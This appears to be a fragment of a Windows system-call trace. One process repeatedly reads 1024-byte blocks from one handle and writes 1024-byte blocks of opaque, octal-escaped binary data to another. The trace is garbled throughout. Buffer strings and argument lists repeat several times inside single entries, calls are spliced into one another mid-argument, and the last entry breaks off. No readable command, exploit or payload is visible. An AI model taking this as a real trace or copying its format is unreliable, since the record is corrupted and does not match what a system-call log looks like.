\343\317\352\14\4\367\271$\374L\244\22\316\347\356N\231\21\210e\331lE\270\204\367&\257\322\243\255\362\246\364\271\177T\262\326\216T\21\376\245\212S\374e\223\36K,W#\2\230\11\30692\316\363\207W\333\235B\303\274\254\253zRp\15\327\254\200\205\272\347\203\226\303\10\352\317Y\241\351?\203\303\10p\211\315\216O|\256\303\352\304\325\355i\342"1\312k\315\317/a\216\206\343\5+S\13\373\36\335T\321\0\204I,\3772(z\213H\234\331\322\331\335`\347\367|.U=\330]`\273\327"\234\14\306M\340\11\31g\333\345B\342\10\346'\37j\267Z\360\372\357\246T?;\275\2103"\271_\32]\372\307\210\3236\11e\257\345\0\366\321b\12\364\323J\375\275{@\365V\237\300\10X9\311\257\310Q\371vG\215o\15a \310\262\251S\177.\306\352\4\371\27\1j\227n\357-\177\227\344\10\375m\250", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \355\276\364\13\224\337y\324\374\35(K\266\346\351^\363\306\373\315y\201\243\32\12N\22;\236\2\205\327W\212\22_;Rl\355\256\300f\316\311\274\360\334\365u\365\353\341K\226\337\263M\31:,\241\3617\340\333<\210W:\14>\210#1\236\304p\217|\344\265\340\14V\222)\267s\360\257\265P\270.|N:bO\327\335C\226\361k.\304\244\34\306\355k.'\352Rc\14\310\366_\330[\210\321o\36\15o5\3.g\211\316N\177[u\257'\345z\362\367\2477\232\352\354O\341\35\231m\240,\237\234}4\11\207\275d \343\317\352\14\4\367\271$\374L\244\22\316\347\356N\231\21\210e\331lE\270\204\367&\257\322\243\255\362\246\364\271\177T\262\326\216T\21\376\245\212S\374e\223\36K,W#\2\230\11\30692\316\363\207W\333\235B\303\274\254\253zRp\15\327\254\200\205\272\347\203\226\303\10\352\317Y\241\351?\203\303\10p\211\315\216O|\256\303\352\304\325\355i\342 (92, 0, 0, 0, "\3708\177\2656\13(q@\\354\244p\276\203%\302\345\311\233\336>^z\16\367\21\223\370\241\222\366\240\314\244}\4\342\4\27\274\251"\355\276\364\13\224\337y\324\374\35(K\266\346\351^\363\306\373\315y\201\243\32\12N\22;\236\2\205\327W\212\22_;Rl\355\256\300f\316\311\274\360\334\365u\365\353\341K\226\337\263M\31:,\241\3617\340\333<\210W:\14>\210#1\236\304p\217|\344\265\340\14V\222)\267s\360\257\265P\270.|N:bO\327\335C\226\361k.\304\244\34\306\355k.'\352Rc\14\310\366_\330[\210\321o\36\15o5\3.g\211\316N\177[u\257'\345z\362\367\2477\232\352\354O\341\35\231m\240,\237\234}4\11\207\275d \343\317\352\14\4\367\271$\374L\244\22\316\347\356N\231\21\210e\331lE\270\204\367&\257\322\243\255\362\246\364\271\177T\262\326\216T\21\376\245\212S\374e\223\36K,W#\2\230\11\30692\316\363\207W\333\235B\303\274\254\253zRp\15\327\254\200\205\272\347\203\226\303\10\352\317Y\241\351?\203\303\10p\211\315\216O|\256\303\352\304\325\355i\342"1\312k\315\317/a\216\206\343\5+S\13\373\36\335T\321\0\204I,\3772(z\213H\234\331\322\331\335`\347\367|.U=\330]`\273\327"\234\14\306M\340\11\31g\333\345B\342\10\346'\37j\267Z\360\372\357\246T?;\275\2103"\271_\32]\372\307\210\3236\11e\257\345\0\366\321b\12\364\323J\375\275{@\365V\237\300\10X9\311\257\310Q\371vG\215o\15a \310\262\251S\177.\306\352\4\371\27\1j\227n\357-\177\227\344\10\375m\250", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \234\14\306M\340\11\31g\333\345B\342\10\346'\37j\267Z\360\372\357\246T?;\275\2103 (92, 0, 0, 0, "\3708\177\2656\13(q@\\354\244p\276\203%\302\345\311\233\336>^z\16\367\21\223\370\241\222\366\240\314\244}\4\342\4\27\274\251"\355\276\364\13\224\337y\324\374\35(K\266\346\351^\363\306\373\315y\201\243\32\12N\22;\236\2\205\327W\212\22_;Rl\355\256\300f\316\311\274\360\334\365u\365\353\341K\226\337\263M\31:,\241\3617\340\333<\210W:\14>\210#1\236\304p\217|\344\265\340\14V\222)\267s\360\257\265P\270.|N:bO\327\335C\226\361k.\304\244\34\306\355k.'\352Rc\14\310\366_\330[\210\321o\36\15o5\3.g\211\316N\177[u\257'\345z\362\367\2477\232\352\354O\341\35\231m\240,\237\234}4\11\207\275d \343\317\352\14\4\367\271$\374L\244\22\316\347\356N\231\21\210e\331lE\270\204\367&\257\322\243\255\362\246\364\271\177T\262\326\216T\21\376\245\212S\374e\223\36K,W#\2\230\11\30692\316\363\207W\333\235B\303\274\254\253zRp\15\327\254\200\205\272\347\203\226\303\10\352\317Y\241\351?\203\303\10p\211\315\216O|\256\303\352\304\325\355i\342"1\312k\315\317/a\216\206\343\5+S\13\373\36\335T\321\0\204I,\3772(z\213H\234\331\322\331\335`\347\367|.U=\330]`\273\327"\234\14\306M\340\11\31g\333\345B\342\10\346'\37j\267Z\360\372\357\246T?;\275\2103"\271_\32]\372\307\210\3236\11e\257\345\0\366\321b\12\364\323J\375\275{@\365V\237\300\10X9\311\257\310Q\371vG\215o\15a \310\262\251S\177.\306\352\4\371\27\1j\227n\357-\177\227\344\10\375m\250", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01188  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\35\27.\20\12t\10\222\177_0uk\254L\0\373\264\270\17\31i\3\17\275"17\343\252\344"\344N\242\212}\23\36\347\246\360+`s4o*fO!\352Y\214=\36\17\338\14}h\255oa\302R3\316\334\331\31\36{\304\275~%P=b271e7\307,\356\343>\246\275=\372b4!\277\267\13\360\267\277l\346\261\3164T\225=8@R\252,v%5rz)=y,6\16/~tfd{g}\278iht{o\177r;\24,0/ -nbjh"ff\252/|ECJ@0FA\23RZD\27o8:\20[OQJko=\16,\16\20Cb.h\27\11\10\33r\33\332t\315\274K\323b-1U\336\275i-?_/8\15W\353\256d;\37%\307"g\256\252&"\242\276\301\11z\370w\273746?1Z#88\2325;\3\21\301W\223#1I\\14\2111I-W\7+H\5(\233+\362`\340\26\16\26601\24\3512\342<\305\35\238|S\23}~u\35$vJJP\\202\1&rF*#\243\221+\2005S\23@AZR^(\274\33j\5WZo,\277\350\33\210 \23\32R\21\2261\13\313+\211\21\311/\36\330"\3202;\3217\177\10\3219\331=\3342\334\3235\366\354\276\300#\220\300$\10\317\242\312\310*\251\311/\2\330\342\3202\226b\3226\24\321\371\331=\24\332", ) 17\343\252\344 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\35\27.\20\12t\10\222\177_0uk\254L\0\373\264\270\17\31i\3\17\275"17\343\252\344"\344N\242\212}\23\36\347\246\360+`s4o*fO!\352Y\214=\36\17\338\14}h\255oa\302R3\316\334\331\31\36{\304\275~%P=b271e7\307,\356\343>\246\275=\372b4!\277\267\13\360\267\277l\346\261\3164T\225=8@R\252,v%5rz)=y,6\16/~tfd{g}\278iht{o\177r;\24,0/ -nbjh"ff\252/|ECJ@0FA\23RZD\27o8:\20[OQJko=\16,\16\20Cb.h\27\11\10\33r\33\332t\315\274K\323b-1U\336\275i-?_/8\15W\353\256d;\37%\307"g\256\252&"\242\276\301\11z\370w\273746?1Z#88\2325;\3\21\301W\223#1I\\14\2111I-W\7+H\5(\233+\362`\340\26\16\26601\24\3512\342<\305\35\238|S\23}~u\35$vJJP\\202\1&rF*#\243\221+\2005S\23@AZR^(\274\33j\5WZo,\277\350\33\210 \23\32R\21\2261\13\313+\211\21\311/\36\330"\3202;\3217\177\10\3219\331=\3342\334\3235\366\354\276\300#\220\300$\10\317\242\312\310*\251\311/\2\330\342\3202\226b\3226\24\321\371\331=\24\332", ) \246\275=\372b4!\277\267\13\360\267\277l\346\261\3164T\225=8@R\252,v%5rz)=y,6\16/~tfd{g}\278iht{o\177r;\24,0/ -nbjh (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\35\27.\20\12t\10\222\177_0uk\254L\0\373\264\270\17\31i\3\17\275"17\343\252\344"\344N\242\212}\23\36\347\246\360+`s4o*fO!\352Y\214=\36\17\338\14}h\255oa\302R3\316\334\331\31\36{\304\275~%P=b271e7\307,\356\343>\246\275=\372b4!\277\267\13\360\267\277l\346\261\3164T\225=8@R\252,v%5rz)=y,6\16/~tfd{g}\278iht{o\177r;\24,0/ -nbjh"ff\252/|ECJ@0FA\23RZD\27o8:\20[OQJko=\16,\16\20Cb.h\27\11\10\33r\33\332t\315\274K\323b-1U\336\275i-?_/8\15W\353\256d;\37%\307"g\256\252&"\242\276\301\11z\370w\273746?1Z#88\2325;\3\21\301W\223#1I\\14\2111I-W\7+H\5(\233+\362`\340\26\16\26601\24\3512\342<\305\35\238|S\23}~u\35$vJJP\\202\1&rF*#\243\221+\2005S\23@AZR^(\274\33j\5WZo,\277\350\33\210 \23\32R\21\2261\13\313+\211\21\311/\36\330"\3202;\3217\177\10\3219\331=\3342\334\3235\366\354\276\300#\220\300$\10\317\242\312\310*\251\311/\2\330\342\3202\226b\3226\24\321\371\331=\24\332", ) g\256\252& (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\35\27.\20\12t\10\222\177_0uk\254L\0\373\264\270\17\31i\3\17\275"17\343\252\344"\344N\242\212}\23\36\347\246\360+`s4o*fO!\352Y\214=\36\17\338\14}h\255oa\302R3\316\334\331\31\36{\304\275~%P=b271e7\307,\356\343>\246\275=\372b4!\277\267\13\360\267\277l\346\261\3164T\225=8@R\252,v%5rz)=y,6\16/~tfd{g}\278iht{o\177r;\24,0/ -nbjh"ff\252/|ECJ@0FA\23RZD\27o8:\20[OQJko=\16,\16\20Cb.h\27\11\10\33r\33\332t\315\274K\323b-1U\336\275i-?_/8\15W\353\256d;\37%\307"g\256\252&"\242\276\301\11z\370w\273746?1Z#88\2325;\3\21\301W\223#1I\\14\2111I-W\7+H\5(\233+\362`\340\26\16\26601\24\3512\342<\305\35\238|S\23}~u\35$vJJP\\202\1&rF*#\243\221+\2005S\23@AZR^(\274\33j\5WZo,\277\350\33\210 \23\32R\21\2261\13\313+\211\21\311/\36\330"\3202;\3217\177\10\3219\331=\3342\334\3235\366\354\276\300#\220\300$\10\317\242\312\310*\251\311/\2\330\342\3202\226b\3226\24\321\371\331=\24\332", ) \3202;\3217\177\10\3219\331=\3342\334\3235\366\354\276\300#\220\300$\10\317\242\312\310*\251\311/\2\330\342\3202\226b\3226\24\321\371\331=\24\332", ) == 0x0
 01189  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\221\272W\17U\26c\304\347CM\313\375\274!\231Qx\204\251\216*\356L\34yZ\12\203dM\3059 \214\35Kz\24D,)\206\21P\11K$[L\213=\377N\316\245\363A\36=\34\313\330\275\275c\20Qe\334~\365\225\326[\266\236\275{IJ\16\254\243\361\351\260n\30\360i\362\10d3\15\317\261\234\337np\11\301\35@\26y\1\244>E{\12\252\331%\367D\242\371\207L\5\2740\357\15\1\362\372cQ\377\302\22\356\2316\311q\3"\253\225\350\241\20z\231\272\\220\250_\255N\373\264\207\221;\355\226\226\330\342\334\200R~(\4U\242,~J\342\377%\216\367\353}\362\275\356\3531\230\35`\4lb*"Yx\253\\13\252\337S\310\311-\326\226\326\30;(W*\344\277\262\201N\332b\323Z\252\213\201F\121\13\266\266\24y\211\230\316\247\320\22-\361\344C\203\222\177\377\26\17\211\21c\351\365\371\355\377\326^S!EE\215\355B\34\237B\321\236\202e\20L\322\211\373\0\13z]\37;\256\255\242\206\272\361\235\233+W\276>\332\362\317\363;\250\365.:7uw\242\250n>K\11\2458a\235Gy\216:K4\10\177\27\326F\34\362\24\320\351ET\254s\252\250\6$\255\233\341\363q\20\207\253\203;\33\323\25\236\7\303\213\223\5\333\\25PF\216M\263\361\256N\210+\270\253\246pya\356t'\222e\316\236\364\326\7B)\263\217 \346g\371\311\11\275\363\2574\21\276\366\177\343z\332\270\326R\32\237\2\271\275\335]H\244K\2519\260C\202\323\213/T\267}\355G\214\356\20U\17z\223\212\354\341\210&\363\325\222\225 \2362\206Ua2/H\352\262<\2527\4P\233H6O\12\366"O\7B\263\227\237\335\355DC >/\236\274\252b\16\303\21", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \253\225\350\241\20z\231\272\\220\250_\255N\373\264\207\221;\355\226\226\330\342\334\200R~(\4U\242,~J\342\377%\216\367\353}\362\275\356\3531\230\35`\4lb* (92, 0, 0, 0, "\221\272W\17U\26c\304\347CM\313\375\274!\231Qx\204\251\216*\356L\34yZ\12\203dM\3059 \214\35Kz\24D,)\206\21P\11K$[L\213=\377N\316\245\363A\36=\34\313\330\275\275c\20Qe\334~\365\225\326[\266\236\275{IJ\16\254\243\361\351\260n\30\360i\362\10d3\15\317\261\234\337np\11\301\35@\26y\1\244>E{\12\252\331%\367D\242\371\207L\5\2740\357\15\1\362\372cQ\377\302\22\356\2316\311q\3"\253\225\350\241\20z\231\272\\220\250_\255N\373\264\207\221;\355\226\226\330\342\334\200R~(\4U\242,~J\342\377%\216\367\353}\362\275\356\3531\230\35`\4lb*"Yx\253\\13\252\337S\310\311-\326\226\326\30;(W*\344\277\262\201N\332b\323Z\252\213\201F\121\13\266\266\24y\211\230\316\247\320\22-\361\344C\203\222\177\377\26\17\211\21c\351\365\371\355\377\326^S!EE\215\355B\34\237B\321\236\202e\20L\322\211\373\0\13z]\37;\256\255\242\206\272\361\235\233+W\276>\332\362\317\363;\250\365.:7uw\242\250n>K\11\2458a\235Gy\216:K4\10\177\27\326F\34\362\24\320\351ET\254s\252\250\6$\255\233\341\363q\20\207\253\203;\33\323\25\236\7\303\213\223\5\333\\25PF\216M\263\361\256N\210+\270\253\246pya\356t'\222e\316\236\364\326\7B)\263\217 \346g\371\311\11\275\363\2574\21\276\366\177\343z\332\270\326R\32\237\2\271\275\335]H\244K\2519\260C\202\323\213/T\267}\355G\214\356\20U\17z\223\212\354\341\210&\363\325\222\225 \2362\206Ua2/H\352\262<\2527\4P\233H6O\12\366"O\7B\263\227\237\335\355DC >/\236\274\252b\16\303\21", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) O\7B\263\227\237\335\355DC >/\236\274\252b\16\303\21", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01190  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\230b"#%A\207',yN+\245\10.+ag\271\3024\274B\23<\321\272\232\301-\301WKS}H\222n0#\243}1&#\357/\6\312=\255+\307\212\2462mx\21>7\263\377d\33?\276\372\37\362\27\207S\373)#m\222%\311>\254\344\240N\313\10\5~\307\2150{@6u,?*\321\25\323=yn\327\206\357\375\36J+\265\6\23"W-\347*Y63?\305\342\257,\203!\20346."\320,\26J?\251\2549}\375M\254\21r\311\216C\11e\30\347((\233\234 G>\177f\316'a\0U4\264\300\11?\332l\371\239\227\314\35\36XJiJ\313\31\10\226\27~y\245\232-\353\236.\15\241q\2005\345\31\313b`\261~\206\301\317\6\27\347$\21\33P\350*rLa\253kh\254|{}\214D_;1\7\323C%\224\265L\30\261o]\212>\33\37/\324\246\36 ""\246\346Q'f\371\311_+\333\246z\13 \272\364m4\2644W-\2701\373\2766&\257\7\221\220\376-\327a+\243O$\27e!\332\220*'\34k\223\263\3213\266\36459\263099\260q9j\326\13\34\11\335\36\2&#:im\342\316\327ha\3<\354 \230\223\372<\216$55\334\242\276\231\376\215z?G$\342k\27\340\346"&\317 \235\247/\341\203jl\34)pn\272\361\363\25\260\367\367XL6d\267\370?\32\232\217\232\8\37@\4#rO"Mj\367\11\352\213\254\277\357E14\27\277 $:\13\371XW\261CV\25\220\323\315:_p#"!LN&%\30?F\32:*\3766\1,v\303\\26564l$\352\35\255fN4\33\231\335\330\233\4\341"'\240\235N\306"\/\223tO%I?\336;", ) #%A\207',yN+\245\10.+ag\271\3024\274B\23<\321\272\232\301-\301WKS}H\222n0#\243}1&#\357/\6\312=\255+\307\212\2462mx\21>7\263\377d\33?\276\372\37\362\27\207S\373)#m\222%\311>\254\344\240N\313\10\5~\307\2150{@6u,?*\321\25\323=yn\327\206\357\375\36J+\265\6\23 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\230b"#%A\207',yN+\245\10.+ag\271\3024\274B\23<\321\272\232\301-\301WKS}H\222n0#\243}1&#\357/\6\312=\255+\307\212\2462mx\21>7\263\377d\33?\276\372\37\362\27\207S\373)#m\222%\311>\254\344\240N\313\10\5~\307\2150{@6u,?*\321\25\323=yn\327\206\357\375\36J+\265\6\23"W-\347*Y63?\305\342\257,\203!\20346."\320,\26J?\251\2549}\375M\254\21r\311\216C\11e\30\347((\233\234 G>\177f\316'a\0U4\264\300\11?\332l\371\239\227\314\35\36XJiJ\313\31\10\226\27~y\245\232-\353\236.\15\241q\2005\345\31\313b`\261~\206\301\317\6\27\347$\21\33P\350*rLa\253kh\254|{}\214D_;1\7\323C%\224\265L\30\261o]\212>\33\37/\324\246\36 ""\246\346Q'f\371\311_+\333\246z\13 \272\364m4\2644W-\2701\373\2766&\257\7\221\220\376-\327a+\243O$\27e!\332\220*'\34k\223\263\3213\266\36459\263099\260q9j\326\13\34\11\335\36\2&#:im\342\316\327ha\3<\354 \230\223\372<\216$55\334\242\276\231\376\215z?G$\342k\27\340\346"&\317 \235\247/\341\203jl\34)pn\272\361\363\25\260\367\367XL6d\267\370?\32\232\217\232\8\37@\4#rO"Mj\367\11\352\213\254\277\357E14\27\277 $:\13\371XW\261CV\25\220\323\315:_p#"!LN&%\30?F\32:*\3766\1,v\303\\26564l$\352\35\255fN4\33\231\335\330\233\4\341"'\240\235N\306"\/\223tO%I?\336;", ) \320,\26J?\251\2549}\375M\254\21r\311\216C\11e\30\347((\233\234 G>\177f\316'a\0U4\264\300\11?\332l\371\239\227\314\35\36XJiJ\313\31\10\226\27~y\245\232-\353\236.\15\241q\2005\345\31\313b`\261~\206\301\317\6\27\347$\21\33P\350*rLa\253kh\254|{}\214D_;1\7\323C%\224\265L\30\261o]\212>\33\37/\324\246\36 " (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\230b"#%A\207',yN+\245\10.+ag\271\3024\274B\23<\321\272\232\301-\301WKS}H\222n0#\243}1&#\357/\6\312=\255+\307\212\2462mx\21>7\263\377d\33?\276\372\37\362\27\207S\373)#m\222%\311>\254\344\240N\313\10\5~\307\2150{@6u,?*\321\25\323=yn\327\206\357\375\36J+\265\6\23"W-\347*Y63?\305\342\257,\203!\20346."\320,\26J?\251\2549}\375M\254\21r\311\216C\11e\30\347((\233\234 G>\177f\316'a\0U4\264\300\11?\332l\371\239\227\314\35\36XJiJ\313\31\10\226\27~y\245\232-\353\236.\15\241q\2005\345\31\313b`\261~\206\301\317\6\27\347$\21\33P\350*rLa\253kh\254|{}\214D_;1\7\323C%\224\265L\30\261o]\212>\33\37/\324\246\36 ""\246\346Q'f\371\311_+\333\246z\13 \272\364m4\2644W-\2701\373\2766&\257\7\221\220\376-\327a+\243O$\27e!\332\220*'\34k\223\263\3213\266\36459\263099\260q9j\326\13\34\11\335\36\2&#:im\342\316\327ha\3<\354 \230\223\372<\216$55\334\242\276\231\376\215z?G$\342k\27\340\346"&\317 \235\247/\341\203jl\34)pn\272\361\363\25\260\367\367XL6d\267\370?\32\232\217\232\8\37@\4#rO"Mj\367\11\352\213\254\277\357E14\27\277 $:\13\371XW\261CV\25\220\323\315:_p#"!LN&%\30?F\32:*\3766\1,v\303\\26564l$\352\35\255fN4\33\231\335\330\233\4\341"'\240\235N\306"\/\223tO%I?\336;", ) &\317 \235\247/\341\203jl\34)pn\272\361\363\25\260\367\367XL6d\267\370?\32\232\217\232\8\37@\4#rO (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\230b"#%A\207',yN+\245\10.+ag\271\3024\274B\23<\321\272\232\301-\301WKS}H\222n0#\243}1&#\357/\6\312=\255+\307\212\2462mx\21>7\263\377d\33?\276\372\37\362\27\207S\373)#m\222%\311>\254\344\240N\313\10\5~\307\2150{@6u,?*\321\25\323=yn\327\206\357\375\36J+\265\6\23"W-\347*Y63?\305\342\257,\203!\20346."\320,\26J?\251\2549}\375M\254\21r\311\216C\11e\30\347((\233\234 G>\177f\316'a\0U4\264\300\11?\332l\371\239\227\314\35\36XJiJ\313\31\10\226\27~y\245\232-\353\236.\15\241q\2005\345\31\313b`\261~\206\301\317\6\27\347$\21\33P\350*rLa\253kh\254|{}\214D_;1\7\323C%\224\265L\30\261o]\212>\33\37/\324\246\36 ""\246\346Q'f\371\311_+\333\246z\13 \272\364m4\2644W-\2701\373\2766&\257\7\221\220\376-\327a+\243O$\27e!\332\220*'\34k\223\263\3213\266\36459\263099\260q9j\326\13\34\11\335\36\2&#:im\342\316\327ha\3<\354 \230\223\372<\216$55\334\242\276\231\376\215z?G$\342k\27\340\346"&\317 \235\247/\341\203jl\34)pn\272\361\363\25\260\367\367XL6d\267\370?\32\232\217\232\8\37@\4#rO"Mj\367\11\352\213\254\277\357E14\27\277 $:\13\371XW\261CV\25\220\323\315:_p#"!LN&%\30?F\32:*\3766\1,v\303\\26564l$\352\35\255fN4\33\231\335\330\233\4\341"'\240\235N\306"\/\223tO%I?\336;", ) !LN&%\30?F\32:*\3766\1,v\303\\26564l$\352\35\255fN4\33\231\335\330\233\4\341 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\230b"#%A\207',yN+\245\10.+ag\271\3024\274B\23<\321\272\232\301-\301WKS}H\222n0#\243}1&#\357/\6\312=\255+\307\212\2462mx\21>7\263\377d\33?\276\372\37\362\27\207S\373)#m\222%\311>\254\344\240N\313\10\5~\307\2150{@6u,?*\321\25\323=yn\327\206\357\375\36J+\265\6\23"W-\347*Y63?\305\342\257,\203!\20346."\320,\26J?\251\2549}\375M\254\21r\311\216C\11e\30\347((\233\234 G>\177f\316'a\0U4\264\300\11?\332l\371\239\227\314\35\36XJiJ\313\31\10\226\27~y\245\232-\353\236.\15\241q\2005\345\31\313b`\261~\206\301\317\6\27\347$\21\33P\350*rLa\253kh\254|{}\214D_;1\7\323C%\224\265L\30\261o]\212>\33\37/\324\246\36 ""\246\346Q'f\371\311_+\333\246z\13 \272\364m4\2644W-\2701\373\2766&\257\7\221\220\376-\327a+\243O$\27e!\332\220*'\34k\223\263\3213\266\36459\263099\260q9j\326\13\34\11\335\36\2&#:im\342\316\327ha\3<\354 \230\223\372<\216$55\334\242\276\231\376\215z?G$\342k\27\340\346"&\317 \235\247/\341\203jl\34)pn\272\361\363\25\260\367\367XL6d\267\370?\32\232\217\232\8\37@\4#rO"Mj\367\11\352\213\254\277\357E14\27\277 $:\13\371XW\261CV\25\220\323\315:_p#"!LN&%\30?F\32:*\3766\1,v\303\\26564l$\352\35\255fN4\33\231\335\330\233\4\341"'\240\235N\306"\/\223tO%I?\336;", ) \/\223tO%I?\336;", ) == 0x0
 01191  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\317\4\207\213\200I\222\205joM\311\317\22?\257\344\367\230\370\361]H\374\243|A\203\13\217"M\131q\11+\243%\214\360dJ\222\31>3\266\346\304d4|\333\36\201g|P%s\210\277F\270\2008\316#\203\266\251\245c\307\215\371\304+3\342\333\231\6\6\303J\375\177\23\36\226\20\371T\240A)`\233\357\200\363Z\244J\237F2A\3052G\227\2#\360&\235.\354\315\174y;\304\223\301\356X^?\217\203\337&l\32\253\223egb\270\21G/m\205\300\324\276\213%\204SG\366\361/U4`#\252\336\200G\1\357\377\263\205\377\301J1\252"V\262\307\256\35Y9\377\222v'{\325q^;i\321\375\336\2Pn\247D\340\335\213fz\346@\22%\206\333\274\272A8\215C}\375\333\2466\300\267\351\6\343K\2629X\14|B\16\226$\375A\222\211<\225}\211\1bD\207G\370\302\30\336\33\221\224\221\232Ga<\244\345\10\6r\21\304J\177\330\216\317\232\242Q\0\20\234n\365\354\326[\355\12\357\232\317\262so\320\310KY\317\205,\345\350\302\214st\330\211G\iR\261bZ\33\221\213\320/\357\271\243\351c\277\301*`%z:s\327Z\331\326\207\247\356\3342n\1\373m\272\201\31\33H\376\266\26F\361c3\30\168\3774\143\201\243k3\274\142\331\357\376[\322\37FD\371j\225w\351\352\7\0\303\M\7\265 !\235j$8\214\313{\305vW\376\15\237\220'\15\241{\233\36\17\223\24F\301\2w\374\232\376\260\4\1\373]\263\330\2678\23:v\326\274\276\367\352G\344]q\3\2068\23V\354\226\230\2110`\0gr\234\14%bug\202\206\36\362\253~\342\33b\334n0y\252p\213\311\351\223\263\370\37\240\33C\214}G\275", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) M\131q\11+\243%\214\360dJ\222\31>3\266\346\304d4|\333\36\201g|P%s\210\277F\270\2008\316#\203\266\251\245c\307\215\371\304+3\342\333\231\6\6\303J\375\177\23\36\226\20\371T\240A)`\233\357\200\363Z\244J\237F2A\3052G\227\2#\360&\235.\354\315\174y;\304\223\301\356X^?\217\203\337&l\32\253\223egb\270\21G/m\205\300\324\276\213%\204SG\366\361/U4`#\252\336\200G\1\357\377\263\205\377\301J1\252 (92, 0, 0, 0, "\317\4\207\213\200I\222\205joM\311\317\22?\257\344\367\230\370\361]H\374\243|A\203\13\217"M\131q\11+\243%\214\360dJ\222\31>3\266\346\304d4|\333\36\201g|P%s\210\277F\270\2008\316#\203\266\251\245c\307\215\371\304+3\342\333\231\6\6\303J\375\177\23\36\226\20\371T\240A)`\233\357\200\363Z\244J\237F2A\3052G\227\2#\360&\235.\354\315\174y;\304\223\301\356X^?\217\203\337&l\32\253\223egb\270\21G/m\205\300\324\276\213%\204SG\366\361/U4`#\252\336\200G\1\357\377\263\205\377\301J1\252"V\262\307\256\35Y9\377\222v'{\325q^;i\321\375\336\2Pn\247D\340\335\213fz\346@\22%\206\333\274\272A8\215C}\375\333\2466\300\267\351\6\343K\2629X\14|B\16\226$\375A\222\211<\225}\211\1bD\207G\370\302\30\336\33\221\224\221\232Ga<\244\345\10\6r\21\304J\177\330\216\317\232\242Q\0\20\234n\365\354\326[\355\12\357\232\317\262so\320\310KY\317\205,\345\350\302\214st\330\211G\iR\261bZ\33\221\213\320/\357\271\243\351c\277\301*`%z:s\327Z\331\326\207\247\356\3342n\1\373m\272\201\31\33H\376\266\26F\361c3\30\168\3774\143\201\243k3\274\142\331\357\376[\322\37FD\371j\225w\351\352\7\0\303\M\7\265 !\235j$8\214\313{\305vW\376\15\237\220'\15\241{\233\36\17\223\24F\301\2w\374\232\376\260\4\1\373]\263\330\2678\23:v\326\274\276\367\352G\344]q\3\2068\23V\354\226\230\2110`\0gr\234\14%bug\202\206\36\362\253~\342\33b\334n0y\252p\213\311\351\223\263\370\37\240\33C\214}G\275", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01192  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\20\373\253\261%\377"-2\234I\236F\16\242\14\262C\362o9\246L8\304\275n*`\331s\2404B\245Q-}\275]\250>\265Y\257\214L\223@}\177\361q\2132)'')%+\207(.\21769\362%0\325\1\201\350\35Bk\324\232mt\336\6\202\4\217:t\343\302:9qt\300\11:\20\3745\2543\221+\367E2jkF"\231\7\304\303=<\372\33J\36\25X\255n\35\313\24d',\244\15\242+/m%\153n9x?\23664Ra\322\257\34\248a\17\36C>\32"\177l\325\344]'y)H\243\23\254j>n\320.\32c\267\3642W<\35J?\324\340\336\377BE\336\225z\310\336\2V\254\3323\23(7\325\16\366m,*\14370%\5429\370\262\304\31M?\370\33\36\36\37\3304###\342\0$e\327\14\12z,!\35\357\363\2616+6!"b\272;*\271>1>Y\32\26\335\34\25>9(\10$D"-\36- \5-*6\330\235\223\263\344\206\26473`;>\375,9\356\223\362\362\234}\1\306\303"C\4t\304'\354\300\374\317.\343\312-\366\226\3203T\25\3267\200\26181>8G\374\16\265B\256\204\357*\336b5\24uW\177y\302\370\14)N&1\21\2613\3177\275\317L4\271\300T\266/\37\30\10O\246w4\32\202%D\210f$h\10(\244\215$n\217\3600\2232\313 \216\279)j\323\355.\373"?\364Q/\2361\3367\213d\23g#\240\265\3\25038\352L6\25\233\22\361:6\31179\3103\205\374~\230E\225\37\225\336\241\253c\22:\254\240", ) -2\234I\236F\16\242\14\262C\362o9\246L8\304\275n*`\331s\2404B\245Q-}\275]\250>\265Y\257\214L\223@}\177\361q\2132)'')%+\207(.\21769\362%0\325\1\201\350\35Bk\324\232mt\336\6\202\4\217:t\343\302:9qt\300\11:\20\3745\2543\221+\367E2jkF (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, 